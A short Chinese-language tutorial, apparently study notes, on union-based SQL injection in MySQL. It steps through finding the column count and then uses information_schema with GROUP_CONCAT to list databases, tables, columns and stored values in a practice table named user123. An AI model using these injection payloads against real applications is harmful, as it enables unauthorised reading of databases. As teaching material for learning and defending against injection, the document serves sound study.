SQL注入--获取数据库的信息
在SQL注入时,常常使用联合查询的方法(union)。将从不同表中查询的信息结合在一张表中同时显示出来。 (select选出的列数相同才能用unoin)
获取表的列数
使用union,如果想要在一张表中显示联合查询的内容,那么union关键字后面查询的内容的列数要和被查询(表名:user123)表的列数一致,才不会报错;利用此方法,可以尝试破解出user123表的列数
SELECT * from user123 WHERE name=002 UNION SELECT 1,2,3
--如果union后面是 select 1,2 则报错,
--因为user123有3列;select 1,2 只能显示2列;无法在同一个表中显示
获取mysql中所有数据库的库名
SELECT * from user WHERE name=002 UNION
SELECT 11,2,(SELECT GROUP_CONCAT(schema_name)
FROM information_schema.schemata LIMIT 0,1)
- schemata(自动生成)是information_schema(自动生成)数据库中的一个表,记录了mysql中的所有数据库名
- GROUP_CONCAT()是将所有符合的信息都显示在一个格子中
- limit是限制显示的行数。limit 1 表示只显示前1行
获取指定数据库中的表名
SELECT * from user123 WHERE name=002
UNION SELECT 11,2,(SELECT GROUP_CONCAT(table_name)
FROM information_schema.TABLES WHERE table_schema='sql_inject')
- tables(自动生成)是information_schema(自动生成)数据库中的一个表,记录了mysql中的所有数据库的表名
获取指定表中的所有字段名
前面已经获取到了表名为:user123,下面可以直接进行利用
SELECT * from user123 WHERE name=002
UNION SELECT 11,2,(SELECT GROUP_CONCAT(column_name)
FROM information_schema.columns where table_name='user123')
- columns(自动生成)是information_schema(自动生成)数据库中的一个表,记录了mysql中的所有数据库中每一个表的字段名
- column_name是字段名(列名)
获取字段中的值
前面已经获取到了表名为:user123,字段名(name,age,sex),下面可以直接进行利用
SELECT * from user123 WHERE name=002
UNION SELECT 11,2,(SELECT GROUP_CONCAT(age) FROM user123)
- GROUP_CONCAT()是将所有符合的信息都显示在一个格子中